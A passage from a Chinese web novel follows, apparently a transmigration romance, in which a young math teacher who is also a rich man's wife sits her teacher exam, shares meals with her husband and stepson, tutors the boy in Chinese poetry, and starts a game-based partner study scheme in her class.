“咦,旅游很好啊,劳逸结合还能增长见识。”金苒面露疑惑,“不过……应该不至于为这个生气吧?”以江家的条件,别说偶尔旅游,就算常年在外度假也绰绰有余。 “倒不是钱的问题。”江明羧给她解释,“我答应可以旅游,条件是期末考必须进班级前十。” 金苒:“”破案了。难怪那孩子不开心,谁愿意出去玩还得先拼命学习啊。 “所以这两个月还要劳烦金老师多费心。”江明羧看向金苒,毫无压力给人戴高帽子,“学生进步了,你们老师也会高兴吧。” 呵呵。 看着江明羧那张似笑非笑的脸,金苒脑海里只剩下四个字:老奸巨猾。 她不愿意就这样轻易被对方拿捏,绞尽脑汁也要扳回一城:“这算不算报酬?” 上次她扯虎皮让家长们同意自己的教学法,欠了男人一次人情,一直没有想好怎么还回去。 江明羧笑意更深,居然真的点头:“如果他能进步,应该是我欠金老师一个人情了。” “真的?!” “千真万确。” 刹那间,金苒眼睛发亮,忘记了刚才的不愉快。 那可是江明羧的人情哎,外面那些人估计想要都要不到!何况以对方的身份地位,既然开口承诺就绝不会食言,只要她提的要求别太过分,这笔交易怎么看都稳赚不赔! 怀抱着这样的期待,金苒在学校的时候,也开始观察起江许黎的成绩。 这一观察,倒真发现了问题。 她是数学老师,平日里只关注学生的数学成绩,恰好江许黎在数学上表现优秀,以至于她一直认为对方是个全面发展的优等生。可当她和其他老师打探后,才知道少年偏科严重。 数学、物理、英语成绩很好,历史政治偏文科类的成绩较为普通,最差的是语文,金苒不止一次听到三班的语文老师抱怨,说江许黎在自己的课堂上睡觉,把人叫醒后,还扬言老师讲的是催眠曲。 金苒听到后,都深深怜爱了。 同时联想到数学课上的江许黎,虽然时常会走神,但基本上规规矩矩,不由地庆幸自己有远见之名,隔三差五投送小饼干,以至于江许黎吃人嘴短,不好意思睡觉逃课。 这样想着,金苒心中又有点儿感动。 其实相处久了就会发现,江许黎本性不坏,甚至比起他爸可以算得上温柔。 只是因为从小不被重视,年龄到了便有些叛逆。最令她意外的是,自从和父亲达成前十的约定后,江许黎竟真的开始用功起来。 有几次在家时,她偶然撞见这个语文课上睡觉的少年,正捧着语文课本装模作样地研读——虽然皱着眉头、强忍不耐的样子实在称不上认真。 但不得不说,少年固执的性子让金苒很是欣赏。 有时候她就在想,或许自己骨子里存在某种存在主义式抗争,那些在与命运搏斗中留下伤痕的意志,被命运打磨得棱角分明的灵魂,永远比未经考验的完美更令她动容。 她有心想要帮忙,同时也是为了自己的“报酬”,不过没来得及付诸实践,就被另外一件事情暂时牵扯住。 不知不觉中,教师编笔试的日子到了。 周六早上七点,别墅里到处可见忙碌紧张的场景。 王厨一反常态,没有做什么高端大气上档次的早餐,而是准备了清淡的蔬菜粥,外加放在青瓷盘中的一根烤肠,两颗茶叶蛋。 “预祝太太考一百分!”他笑着表达期盼。 程管家也擦擦眼角:“没想到有生之年家里会出一位老师,以后咱们这宅子也能沾点儿书香气。” 金苒:“……” 本来还有点儿紧张,看到大家夸张的反应,反而一下子松弛下来。 而且她没好意思和王厨说,A市的教师编笔试的满分成绩是一百二十,教育综合知识和学科专业知识加起来总分两百四。 不过美食占一百,心意占一百,吃了美食的她被感动,超强发挥多得二十分,也不是不可以的嘛~ 江许黎下定决心好好学习,但一时半会还是没有办法完全改变,玩游戏不小心熬夜,从床上爬起来的时候已经过了八点。 吃饭的时候,没有在餐桌上看到家里的另外一个人。 一开始他以为她在二楼看书,可等到午饭也没有看到人,他才发现她不在家。 “今天是什么特殊日子?” 管家想了想:“好像不是。” 江许黎默。 管家看到少年眉头紧锁的样子,忽然心领神会,试探着道:“今天先生需要出差,一大早就走了,太太去外面考试。” 江许黎想起来了,这段时间她似乎一直在刷教题,还和他爸谈论编制问题。 等拿到编制,她就会从代课老师变成正儿八经的人民教师。 江许黎一时觉得碗里的饭都不香了,有一种全世界人都在努力的压力感,回到房间看着自己干净如初的语文课本,认命拿起来翻看。 傍晚,别墅外传来车鸣,江许黎以为是金苒回来了,若无其事拿着杯子下楼接水,却撞见他爸风尘仆仆从外面进来。 看到他,他爸直接说:“收拾一下,今天晚上出去吃饭。” 第32章 第32章我找她问作业! 金苒交完卷从考场出来,看到手机里江明羧发的消息。 【考完后要不要一起去吃饭?】 消息发自半个小时前,她觉得他们是心意相通的,早上的“一百分”套餐质虽优但量少,以至于考试过程中她就饿得肚子咕噜咕噜叫。 十指在屏幕上跳跃,她打字回复:【刚交卷,你出差回来了?】 又问:【去哪吃,老板请客吗?(星星眼)】 对面没有回复,金苒猜测大概是在忙,便收起手机往学校外面走。 接连两场考试下来,饶是精力充沛如她,这会儿太阳穴也隐隐发痛。 路上,四处可见刚结束考试的考生们,三两结伴,大声议论着试卷,或吐槽出题难,或干脆凑到一起对答案,金苒默默穿过这些热闹的圈子,没有选择加入。 不过她自觉发挥还不错。 试卷中的大部分题型她都刷到过,题目千变万化,知识点终归只有那几样。 而且考试已经结束,即便她想再多也没有用,倒不如放松心情,去做其他事情。 越往外走,聚集的人越多,到学校门口的时候,马路上已经有些堵车。 耳边时不时传来女生们的惊呼:“好帅啊。” “天啊,这样的帅哥百年难得一见,今天居然见到了两个!” “是来接人的嘛,呜呜呜被接的人好幸福啊。” 金苒被人群推攘,不得不放慢脚步,正疑惑怎么突然来了这么多人,便看到路边一辆车子打开车窗,江许黎从里面探出胳膊朝她招手。 其实车子刚开出来,江许黎就后悔了。 他怎么就没忍住,跟出来了呢? 过去十五年,他从未和他爸吃过饭,这次他也不觉得他爸是专门请他。 果然,车子开出别墅就朝着郊区开去,最后停在一所小学门口。 没一会儿,江许黎看到金苒从里面走出来。 女人穿着简单的白t恤和牛仔裤,马尾扎在脑后,随着走路的动作微微轻晃,青春洋溢的像个在校大学生。 不过金苒并没有看到他们。 因为路边不能停车,他爸正忙着找车位,眼看着金苒就要离开,情急之下,江许黎只能打开窗户喊人。 话到嘴边,突然又在称呼上为难起来。 他要怎么称呼她? 对方是他的后妈,但那两个字打死他也不会说出口,喂——好像又有点不尊重人。 最后只能选择了另外一个称呼:“金老师!——这边!” 金苒:“?” 好不容易坐上车子,走出拥堵的街道已经是半小时后。 三人都松了口气。 江明羧带着两人去了一家私人粤菜馆,馆内装潢精致,环境清幽,却是没有多少客人。 金苒正担心是不是踩了雷,江明羧解释:“他们是会员制。” 不管什么东西,只是涉及会员,总是不觉明历的,当江明羧让她点菜的时候,金苒毫不客气地点了一大桌子。 当然她也没有只顾着自己,友好询问了另外两个人,得到回答诸如“随便”“都可以”“你点就行”。 金苒:“……” 那她就不客气了。 考虑到只有他们三个人,最后她点了九道菜。这样的高档餐厅,酒水是必不可少的,但金苒看了会儿,都不太喜欢。 意思性加了一杯白开水,等服务员离开后,她和两人商量:“你们谁有外卖软件,我有点儿想喝奶茶,不如我们点奶茶喝吧。” 江明羧身为霸总,当然是不吃外卖的,金苒倒是经常吃,但那是上辈子,这辈子的手机连小黄都没有下载。 最后,江许黎不得不拿出手机:“我点吧。” 他迅速打开软件,选择了距离附近最近的一家门店,顿了顿,问:“喝什么?” 金苒来了兴趣,起身凑到江许黎身边:“让我看看都有什么!” 她动作自然而然,满心满眼都是对奶茶的渴望,江许黎或许是因为在学校里经常被她趴在后门偷看,居然也习惯了。 只稍微侧了下身子,让女人可以看清楚手机屏幕。 目睹这一画面,江明羧并没有感到奇怪。 她和之前的金苒不一样。 金苒第一次在外卖上点奶茶,惊讶发现种类比她上次去店里都要丰盛,顿时有种错亿的感觉,点了一杯奶茶外加一杯没有见过的抹茶牛乳新品,忽然想起什么,抬头问包厢里的另一人:“你要喝点什么呀?” 问完才意识到他可能从没喝过这些,便主动介绍:“有奶茶、鲜榨果汁、咖啡”她手指在屏幕上滑动,“推荐你试试鲜榨车厘子,常温三分糖,现在正是车厘子季节,肯定特别新鲜。” 奶茶过于甜,咖啡是公司的常备饮料,没必要出门吃饭还要喝,所以鲜榨的果汁是最好的选择。 “好,听你的。”江明羧欣然接受了她的推荐。 江许黎等两人选完才自己选,最后点了一份全家桶奶茶,总共花费九十六元,付钱的时候他也没想过要还,结果金苒表示:“不一样,饭菜你爸爸请客,奶茶我请客。” 她再厚脸皮,也没有让未成年请客的道理,江许黎见他爸都没有什么意见,便干脆利落地伸出手机。 虽然他月零花五万元,但谁也不会嫌钱多。 金苒尚且不知道在场随便一个未成年都比她有钱,否则转钱的速度绝对没有这么干脆。 甚至看到账单有九十六元时,她还大方地四舍五入凑了一百块。 手机“滴”了一声,江许黎点击收款,顺便看了一眼她的id。 ——备课汉姆(考不过教师编不改名版本) 他嘴角抽了抽。 奶茶到得很快。外卖小哥大概是第一次接到这种距离只有一百米的订单,送货时对着江许黎笑得眼角纹挤出来。 江许黎一阵恶寒,赶紧拎着奶茶回到包厢,给每个人分下去。金苒独揽两杯,吹着冷飕飕的空调,喝着甜甜的冰奶茶,考试后的疲惫都一消而散。 不过包厢却是再次恢复安静。 金苒看看这个,再看看那个,心想这算怎么回事,他们一个重组家庭的和睦居然得靠自己一个外人? 转念想到那份诱人的“报酬”,又重新有了动力。 她找了个一个比较稳妥的话题, 问江明羧:“怎么突然想着出来吃饭啊?” 江明羧挽起袖口,简单的动作,在他做来也赏心悦目:“这段时间有些忙,给别墅的大家放了个假。” 金苒笑起来:“好吧,我还以为是专门给我庆祝呢。” “这样说也不算错。” “那你庆祝的有点早了,考试成绩要十天后才能出来。” 江明羧淡定自若:“现在庆祝考试,到时候庆祝的是笔试通过。” 该说不说,他比自己还要有信心,不过谁不愿意听好话呢:“笔试结束还有面试和政审,等正式拿到编制至少需要一个月,届时正好是学校期末,我还要想办法提高学生成绩,考试期间需要监考,考完试批改试卷……” 金苒都有些无奈了。 没找工作前,她每一天精神饱满,工作之后同样充满热情,可内心最期盼的事情却变成了休假:“虽然我已经想好怎么提高学生的成绩,但放眼未来一个月,我的生活只有三个字,忙,忙,忙!” 说这话的时候,她浑身上下,每一根头发丝都散发着绝望,让人忍不住想要摸一摸顺毛。 而低头喝奶茶的江许黎从来没有计算过时间,这会儿听到她说期末只剩一个月的时间,吓得差点儿掀桌而起。 他想回W市,他爸的要求是考入前十名,而他现在的排名大概是在中游偏下,二十五六名的位置。 想达到目标,至少得前进十几名! 江许黎隐隐有些着急,饭菜端上来也吃得心不在焉。 期间,他好几次忍不住看向金苒,有心想问一下她所谓的提高成绩的办法,最后也没好意思开口。 只是没想到,他没有主动,回到家的金苒反而给他发消息。 备课汉姆(考不过教师编不改名版本):【刚才收拾卫生,翻到了一点儿东西,你看看需要吗?】 江许黎点开图片,是一些手写资料:【是其他老师的备课文件,我拿着没有用,如果你需要就给你吧。】 峰回路转,正陷入学习困境的江许黎果断从三楼噔噔噔跑到二楼,路过书房门口的时候,他不由自主放轻脚步,等来到楼梯旁边的卧室前,金苒已经拿着东西在那里等他。 她刚沐浴完,发梢微湿,挂着颤巍巍的水珠,周身萦绕石榴的清香。江许黎望着那本笔记,内心挣扎。 他确实急需这份资料。 可平白无故收她的东西,总觉得不妥。 最终,对考试的迫切还是占了上风,他抿着唇问:“需要我做什么?” 金苒想了想:“下周我会正式推行搭档学习法,晚自习的时候我不可能一直待在三班,我不在的时候,麻烦你帮我照看一下。” 江许黎闻言松了口气,点头应下。 不过是帮忙维持纪律,不算什么难事。 他拿着资料走了,或许因为功成圆满,这次忘记了放轻脚步,在走廊迎面碰上了刚从书房出来的江明羧。 江明羧看他来的方向,面露疑惑,江许黎脑子一抽,一瞬间脱口而出:“我找她问作业!” 他也不知道自己为什么紧张,明明只是拿个东西,却感觉羞耻、尴尬、像做坏事被抓包的猫,踩了尾巴,浑身炸毛。 江明羧被他大嗓子惊到,随即皱眉:“我知道了,下次不用这么大声音。” 江许黎:“……” 憋屈得走了。 虽然很憋屈,但回到房间后,当江许黎翻开那些备课文档时,还是第一时间如饥似渴地研读起来。 能做老师的,或许不是世界顶尖的专家,但他们大多都有一个共同特点——特别懂得如何把知识传授给别人。 顺着备课思路慢慢梳理,许多困扰江许黎的难题竟然迎刃而解,他第一次没有厌恶这些科目,而是感觉到久旱逢甘露般畅快,仿佛沙漠里的旅人,在长途跋涉后遇到了绿洲。 读到一半,江许黎突然冒出个疑问,老师们备课的时候会准备的这么详细吗? 这个念头一闪而过,很快就被江许黎抛到脑后,他埋头钻研到深夜,大部分问题都找到了答案。 当然也有例外——有些地方涉及的知识点太过发散,而他平日的阅读量不达标,有些囫囵吞枣,或者干脆因为笔记过于潦草,根本看不懂。 想找人请教时,才尴尬地发现自己竟然没有存任何老师的联系方式。 只除了一个。 所以第二天,看到在院子里逗小三花猫的女人,江许黎犹豫片刻,还是走过去。 “我有些问题不太明白,能请教一下你吗?”他眼睛盯着草坪上打滚的小三花,尽量让语气显得自然。 反正她是老师,他是学生,答疑解惑再正常不过。再说,他也不是白问的,大不了多帮她盯几天班级纪律就是了。 江许黎这样说服着自己。 第33章 第33章语文是数学老师教的 金苒第一次发现,当老师也有不好的地方。 比如家里有学生的话,她不止在学校要解答疑问,回到家里还要解答疑问! 妥妥的一个行走问答机! 难得休息日,原本她都已经安排好计划,因为早晨百无聊赖闲逛的时候,她发现一楼居然有个桑拿室,询问佣人得知是一开始就有,甚至佣人里还有专业按摩师。 彼时金苒听到后,当即就准备做个spa按摩,给这段时间因为备考而紧绷的肩颈好好放松一下的,而现在,她不得不推迟自己的计划, 孩子有上进心是好事,作为老师需要大力支持,并积极助力考试进步十五名。 金苒掩饰住内心的遗憾,表面非常痛快地答应下来。 至于江许黎会主动找她问问题这件事情,金苒并没有感到奇怪。 作为继母子他们或许不算亲近,但作为师生,两人关系还是比较融洽的,借着老师的身份,金苒在课堂上没少点名让他回答问题。 “对了,等会儿我大概会录个视频,你介意吗?” 金苒想起一件事情,并认真解释,“别误会,不是特意拍你,我每次试讲都会录像,这样方便后期复盘改进教学方式。” 江许黎闻言有些意外。 原来那些精彩轻松的课堂,是私下里多次练习的成果,最后那点莫名的羞耻感顿时烟消云散——连比他优秀的人都这么努力,自己还有什么理由懈怠? “我没意见。”他干脆地答道。 事情就这样确定下来。 金苒先去拿自己的录像装备,一个支架,一个手机,地方就安排在一楼客厅。 江许黎不好意思干坐着等待,干脆去厨房和王厨要了几份小零食,摆到作业旁边,打算饿了顺便吃几口。 路过的管家这看到两人其乐融融的画面,不禁笑弯了眉眼。 太太刚来家里的时候,少爷和太太还因为性格的差异而有些磕绊,渐渐地,两人相处地越来越自在,越来越随和,倒不至于像母子,管家觉得,更像是互相尊重的同龄人。 无论太太和少爷,都是顶好的人啊。 思及此,管家掏出手机拍下这温馨的一幕,欣慰地发给了正在公司上班的先生。 他想,先生看到这张照片,心里一定会暖暖的。 / 金苒不知道管家的老六行为。 她仔细调整好录像的角度,确保不会把两人拍进去。 高中时期金苒曾有一位酷爱摄影的好友,对方对她的长相极为推崇,经常拉着她当模特,每次拍摄前,金苒都会提出明确要求:可以拍照,但不能发到网上。 说她偶像包袱重好,被害妄想也好,但金苒确实很少在公共平台分享自己的照片和视频。 这种谨慎源于两段不愉快的经历:她舅 舅家有个追星的表妹,曾经疯狂迷恋一位颜值出众的明星,以至于后来脱粉时,竟然拿着那位明星的照片p黑图到处传播; 第二件事情是一篇新闻报道,金苒记得当时还在网络上引起了轩然大波,有位素人女孩在社交平台分享了自己的生活照,结果被不法分子盗用,四处散播谣言,尽管事情最终澄清,但对小姐姐的日常生活还是造成了极大的影响。 所以金苒宁愿谨慎点,也不愿让自己陷入类似的麻烦。 “前提说好了,我的语文水平也就中等偏上,不一定能解决所有问题,一起研究互相学习。” 两人盘腿坐在沙发前,江许黎闻言点了点头,然后郑重地打开资料。 经过一晚上的奋战,干干净净的纸质资料此刻布满红色标记,看得出读资料人的用心,而不懂的地方也被折了明显标记。 金苒定睛一看。 “岳飞背后刺的是什么衷报国……” 几乎刚念完题目,她就已经不假思索地脱口而出,“肯定是精忠报国,选B。” 江许黎看了她一眼:“我就是选的B,错了。” 金苒:“?” “不应该啊,”她满脸疑惑,伸手在空中比划了几下,“那首歌你听过吗,狼烟起,江山北望,龙旗卷马长嘶,剑气如霜——” 江许黎面无表情接上:“心似黄河水茫茫,二十年纵横间谁能相抗——” 两人唱完歌,对视一眼,在不同眸子里看到了同一种惺惺相惜。 “……不如先看下一个吧。”金苒翻开下一页资料,是高中必考的名诗名词。 虽然毕业多年,语文知识早就还给了体育老师,但她还是信心满满:“问君能有几多愁的下一句是什么?” 唔,有点熟悉,答案就在嘴边打转,可就是想不起来,反而各种魔改诗句不断往脑子里蹦:“……才下眉头,却上心头?” 江许黎:“……不要告诉我南村群同欺我老无力的下一句是谈笑间,群童灰飞烟灭。” 金苒没忍住,噗嗤笑出声,确定两人看的是同一班魔改:“不止呢,还有劝君更尽一杯酒,与尔同销万古愁。垂死病中惊坐起,笑问客从何处来。” 正经古诗一句没记住,魔改版本倒是倒背如流。 得,大哥别说二哥,两人半斤八两,都是语文困难户! 这场辅导答疑以惨败收场。 为此金苒还特意发了一条朋友圈:【语文是数学老师教的石锤!】 配图是两人刚才对的魔改诗句。 明技科技会议室。 负责汇报的经理突然听到一声手机提示音。 他眉头下意识皱起——心想谁这么没规矩,居然开会不静音。抬头想要寻找发声源,便看到坐在主位的江总动作从容地拿起手机。 男人神色自若,丝毫没有打断会议的意思,经理只得继续往下汇报,翻动手中的文件时,余光瞥到江总似乎笑了下。 嗯?他讲的这么好吗? 江明羧先是看到管家发来的照片。 年轻漂亮的女教师和稚气未脱的少年学生相对而坐,摆满桌子的饼干和甜点不似补习现场,倒像一场春日茶会。 右上角跳出熟悉的头像提示,他顺势点进去,看到了金苒发的朋友圈。 【语文是数学老师教的石锤!】 江明羧除了日常工作,很少沉迷网络,对网络流行用语自然是一知半解,他好奇地放大图片,发现纸上写着些前言不搭后语的诗词拼接。 属于读起来好似有点道理,再仔细读,狗屁不通。 眼底带上笑意。 仿佛看到两人坐在那儿,对着白纸抓耳挠腮的样子。 图片的最下面还有一个小小的心机,只有点开图片的人才能看到。 一行蚂蚁大小的娟秀文字。 ——请回答朕与将军解战袍的下一句。 江明羧从不回复朋友圈。 但这次,他却破天荒地打开评论区,慢条斯理地敲下一行回复。 那边,经理汇报完项目工作,正好看到江总的笑容,以为自己过关暗自松了口气。 结果气尚未松完,下一秒,听到江总堪称温柔的语调:“回去重新做。” 经理:“……” / 最后,金苒请了外援,才勉强梳理清楚语文题里那些庞杂的知识点。 遭受到精神攻击的徐珍表示强烈谴责:【做题的人一点文学素养都没有!这么基础的东西,我小学一年级就会背了!】 金苒胸膛被.射.了一箭,实在没敢站出来承认,弱弱道:【可能数学好的语文都不太行】 徐珍想了想,很是认同:【有可能,我上学的时候语文回回一百三,数学从来没有上过一百。】 听到这话,金苒心里舒坦了些——人怎么可能十全十美呢。 她放下手机,终于有机会去蒸桑拿,等给全身毛孔做了放松,浑身舒畅地从桑拿室出来时,发现朋友圈多了新回复。 J:【太平待诏归来日,朕与先生解战袍。】 J:【没有下一句。】 金苒:? 如果没有记错,江明羧学的金融专业吧? 她垮了脸,一瞬间,脑海中只剩下一个想法——同为理科生,家里竟然出现了一个叛徒! / 周一,升国旗奏国歌。 金苒趁着值周的间隙,特意托行政部老师帮忙采购了一批硬纸板。付款时她眼都没眨——倒不是突然思想开悟,视金钱如粪土,而是最近手头确实宽裕了不少。 事情还要从金老爷子的寿宴结束说起。 那日宴席上闹出了风波,事后,老爷子不仅差人将贺礼原封退回,还额外备了一份赔罪礼。 更令人意外的是,他让人给金苒捎话:以后不必理会那些人,只安心过自己的日子,如果没有重要的事也不必回金家。 对此,金苒表现得相当镇定。 她虽不清楚具体内幕,但从金老爷子的态度上也能猜出一二——金家与江明羧的联姻恐怕不仅仅是合作,而是某种利益交换,甚至主导权在江明羧手中,否则的话,老爷子绝对不会主动退步。 可惜,金家某些人看不透这一点,还妄想借这场联姻牵制江明羧,结果多半是弄巧成拙出了差错。 也不知道她那位堂姐有没有后悔。 这些想法在脑海中过了一遍,没有留下多余痕迹。 因为金苒实在太忙了。 笔试结束后,她的“搭档”学习法正式开始在班上推行,作为实验点的三班,不论是跑校还是住校的学生,都需要参加晚自习的数学搭档小队。 群里的家长得到消息,纷纷发言表示支持。 【金老师放心,我家孩子是住校生,一直都参加晚自习】 【我家孩子是跑校生,但为了参加这个互助小组,我让孩子他爸调整了接送时间,保证不耽误学习】 【教育需要老师和家长的共同努力,金老师以后有什么需要我们配合的尽管说!】 看着热情的家长们,金苒倍感欣慰,只觉得自己的努力没有白费:【各位家长放心,今天是第一次尝试,时间只有三十分钟,大概七点半就可以下课】 她在群里发了一张时间安排表,解答了几位家长的疑惑,就开始着手准备。 没错,虽然是“搭档”学习,但金苒可不打算让学生们自主学习。 先不说高中生的自制力有没有那么强,其次她这可不是简单的学习,而是根据每一位同学的薄弱点创造的闯关小游戏。 每一道题目都需要两人共同完成。 题目是她请教了其他老师一起出的,不仅涉及数学知识,还有语文英语等其他科目。 其他老师听说后都觉得不错,不过这么大的工作量没有人愿意做,金苒愿意,他们很乐意给予一点儿帮助。 大的方面准备完毕,剩下的就是裁剪卡片,布置场地。 金苒花费了整整一个下午的时间,完成了所有准备工作。 周一傍晚,三班的跑校生在放学后留下来,和住校生一起上晚自习。 金苒再 次在群里提醒家长,并夹带私货私发给某人:【晚上七点半下课,家长们记得去东校门接学生!】 第34章 第34章会回复表情包的男人…… 江明羧:【几点?】 金苒:【七点三十分,你今天是不是要加班啊,记得通知小孙来】 那边半晌没有回复,过来会儿才发过来一张图片。 背景是一张办公桌,宽大明亮的落地窗户占据大半视线,气质冷硬的黑色皮质沙发,搭配一棵郁郁葱葱的发财树,形成强烈的反差感。 金苒意识到这大概是江明羧在明技的办公室,一想小说中的霸总也会在办公室摆发财树,她就有些想笑。 嗯,看江明羧这棵发财树旺盛的样子,他的事业想必定是蒸蒸日上。 整张照片的构图偏向简洁,所以金苒轻而易举,就注意到了右下角那只无意入镜的手。 忍不住看了一眼又一眼。 众所周知,手是人的第二张脸,否则世界上不会有那么多手控的存在。金苒自认为不是手控,但对于漂亮事物的欣赏却是所有人类的共性。 江明羧身材高大,手掌也比其他人长得要宽一些,肤色是偏黄的麦色,手腹单薄,十指修长有力,但并非模特那种纤细,而是竹竿般一节一节,骨节分明。 他的工作、人生经历都注定他不可能十指不沾阳春水,所以那只手写过字,敲过电脑,同样搬过重物、擦拭过灰尘,做过许多日复一日的工作,以至于食指侧方有微微凸起的茧子。 此刻紧紧握着钢笔,手背上青筋绷起,淡青色的筋络纵横,沿着手臂往衬衫内里延伸,像经年累月的松木上探出的根须,必须深深扎根于泥土的深处。 这是一双,色.气满满的手。 江明羧:【工作马上完成,今天大概率不用加班】 提示音唤回思绪,金苒终于挪开放在照片上的视线,然后便看到了男人的回复。 嘴角翘起来:【那你要过来吗?附近有一家特别好吃的烧烤,正好可以去吃个宵夜!】 自从三人出去吃过一顿饭,金苒就喜欢上和江明羧一起出去。 有人陪着聊天,能提供情绪价值,且主动买单,天底下还有比这更好的事情吗? 江明羧:【嗯,我大概七点二十从公司出发,可能会晚一点】 金苒立刻拍马腿:【老板的晚怎么能叫晚呢,那是小的心甘情愿的等待】 现实中,仰天大笑——完美饭搭子get√ 一高兴,她就忍不住从“金老师”的工作状态脱离,非常“金苒”的发了一个表情包。 【小八开心.jpg】 线上聊天有个规定俗成的默契,表情包除了表达兴趣,往往还用来结束一段对话。 金苒发完之后,默认这段对话已经结束,然而没想到,江明羧紧接着又问:【这么开心?】 【知道了,我会处理完公司事务,尽快到】 “?” 一开始金苒没有明白他的意思,直到反反复复把几条消息看过后,她的目光逐渐变得古怪。 因为她发现江明羧……好像把她发的表情包当成了她本人 为了测试一下猜测的真假,于是金苒又发了一个【小八饿饿.jpg】 果不其然。 江明羧:【如果饿了,你们可以先去吃】 江明羧:【等我到了再买单】 看着男人一板一眼的回复,金苒再也忍不住,噗嗤笑出声。 会回复表情包的男人,怎么感觉有点儿可爱呀。 / 通知家长的消息发完了,人却不能做甩手掌柜。 金苒和同事们告别,认命将办公桌上的东西归拢,然后抱在怀中朝教学楼的方向走去。 为了避开放学时分的学生潮,她特意绕了一条偏僻小路,夏日夕阳将树影拉得很长,又将时间揉得很短,斑驳的光影中,金苒意外撞见了一个蹲在树下的少年。 对方身上穿着高一的蓝白校服,头发是露着青碴的短寸,背对着蹲在树下,肩膀一抖一抖,过于高大的身体让他整个人拘谨地蜷缩着,像被强行硬塞到纸箱中的大型犬。 金苒几不可察地皱了下眉。 这种场景她可太熟悉了,之前江许黎和同学打架的事还历历在目。十五六的男生正是血气方刚的年纪,身体朝着大人成长,情绪管理却远远未达成熟,当然,许多成年人也无法控制自己的情绪,易爆易怒,稍不合心便沦为情绪的奴隶。 在这样的情况下,小学生打架可能只是推搡几下,但高中生往往控制不住自己的情绪,有时甚至会酿成严重的后果,金苒听同事八卦,知道去年隔壁体院就有学生因为一时冲动,闹出了刑事责任。 想到这里,金苒深深叹了口气。 如果没看见也就罢了,既然遇见了,作为老师便无法视而不见。 她走近了些:“这位同学,你怎么了,有事情可以跟老师说。” 少年依旧低着头,对她的询问置若罔闻,喉咙里发出几声含含混混的咕哝。 这是被欺负的不敢说话了? 金苒更加想叹气,她伸出手放在少年的肩膀上方,动作轻柔地拍了拍,嘴上细声安慰:“你放心,不论发生了什么,老师都会为你做主……” 话还没有说完,蹲在树前的少年已经转过身子。 想象中的画面并没有出现,男生清俊的面庞在夕阳白到发光,那双眸子如孩童般纯净,此刻里面流露出几丝茫然。 金苒看到他干燥的眼角,顿了顿。 随即,她就明白了他蹲在这里的原因。 大概是哪个学生在树下吃面包,落了许多细碎的面包屑,香味吸引来了蚂蚁,这群黑色的小东西便拧着一条细长的“麻绳”,合力搬着面包碎屑往蚂蚁洞里搬。 而少年刚才正是在看蚂蚁。 “……” 金苒一时有些语塞。 两人面对面而视,空气中弥漫着微妙的尴尬,当然也可能只有金苒尴尬,对方还是那副天真无辜的表情。 她觉得自己应该说些什么,事实上,只是平静地站直身子,用老师惯常的语气叮嘱道:“放学早点回家,别让家长担心。” 说罢,若无其事转身离开。 刚迈出两步,便感觉身后传来一阵轻微的阻力。 金苒回头,少年不知何时已悄悄牵住了她的衣角,见她转过身来,慢慢扬起一个灿烂的笑容。 / 江许黎向来说话算话。 在答应金苒帮她照看晚自习后,他表面没有什么,心里却一直牢记着这件事情。 晚自习开始了十分钟,金苒还没有过来,三班的学生逐渐有些浮躁,不一会儿就丢开课本,有的拿出手机打游戏,有的则和前后左右桌说话,一时间,课堂变成了吵闹的菜市场。 班长和纪律委员喊了几声安静,效果甚微,几个平日就顽劣的男生甚至故意和班长作对,越让他们安静,他们越大声。 就在这时,几人课桌前突然多了一道身影。 男生傲慢地抬起头,随即便被吓了一跳:“黎、黎哥!” 江许黎沉脸盯着他:“很闲?” 男生喉咙动了动,愣是不敢反驳:“不、不闲。” “不闲就坐下,别打扰其他同学学习。”他皱眉。 男生哪敢多言?乖乖坐回座位,望着江许黎的背影心里直犯嘀咕——平时带头逃课的不就是他吗,今天怎么突然转性了? 别看江许黎很少发火,在班里走高冷酷哥路线,但三班的学生就是莫名害怕他,有江许黎出马,大家很快就安静下来,见状班长着实松了口气,这才把金苒交代的卡片发下去。 过于新奇的学习方法很快代替手机,吸引了三班学生的目光。 在班长磕磕绊绊的讲解下,每个人先找到自己提前分好的搭档,然后再由每一个队伍领一份卡片。 卡片代表着闯关游戏路上的关卡,搭档的两人需要发挥自己擅长的学科,互相帮助,合作解题。 其实本质就是一个学生给另外一个学生讲题。 但比起直接喂到嘴边的知识,游戏的方式显然更加夺人眼球,被动接受和主动探索存在本质的区别,后者学生不吃不睡也要想办法通关游戏。 ——灵感来源于金苒那些年为了玩游戏,手肝两本7寸笔记本的日子。 效果是显而易见的,等金苒到的时候,学生们已经通过三关。 最前面的,是江明羧和陈训良的队伍,以及王舒雅和另外一位叫王瑜的女生,金苒记得对方会说一口流利的伦敦腔。 她站在门口,没有贸然打扰他们。 但江许黎还是注意到了。 从人群中挤出来,想要说些什么,忽然瞥见金苒后面跟着个男生,对方发现他后,下意识往金苒身后缩了缩。 江许黎本来还没有在意,看到他这副样子,反而不高兴了:“他怎么来了?” 金苒一怔:“你认识他?” “他是那个魏雅的弟弟,魏岑。” 经此提醒,金苒想起来了。原书中女主好像的确有一个自闭症弟弟,而且女主进入娱乐圈的初衷正是为了赚钱给弟弟治病。 只是女主没想到,在娱乐圈那样一个环境里,无权无势的小演员并不容易,她时常会遭遇各种潜规则,被抢戏,被前辈打压,被群演朋友骗钱。 每到这个时候,总会有优秀的男人站出来,为女主摆平苦难,并被她纯真坚韧的性格所吸引,从此一眼万年。 小说后期,男主的科研团队甚至研发出特效药,治愈了女主弟弟共患症的显现,并通过科学手法干预,使其在成年后能达到独立生活的标准。 很难不说,女主最终选择男主,没有弟弟的原因。 不过站在金苒的角度,比起女主的弟弟,眼下的魏岑只是自己的学生。 看到江许黎“凶神恶煞”瞪着人,金苒一脸无语地把人推开:“别吓着他,我看他没有人来接,就先让他在班上坐会吧。” 说罢领着魏岑走到教室最后的座位上,怕人无聊,还把多余的卡片分给他:“这是我做的搭档小游戏,你要是无聊可以自己玩玩。” 语气温柔到好似滴水。 见状,江许黎更加不爽了,他觉得这个女人有些蠢,什么责任都敢往身上揽。 却忘记了,他自己当初也是路见不平打了三个人。 好在没过多久,负责接送魏岑的阿姨匆匆找过来。 原来,阿姨买菜时不小心弄丢了家门钥匙,因为折回去找,才耽误了时间。临走前,魏岑还有些依依不舍,江许黎心里莫名烦躁,压低声音警告道:“她还要工作,你别在这儿碍事。” 魏岑似乎听懂了,抬眼看了他一眼,又迅速低下头,这次乖乖跟着阿姨地走了。 江许黎皱了皱眉,回头的时候,不经意瞥到了桌子上放的几张卡片。 他捡起来本来打算扔掉,却在触碰到卡片上的字时,骤然凝住。 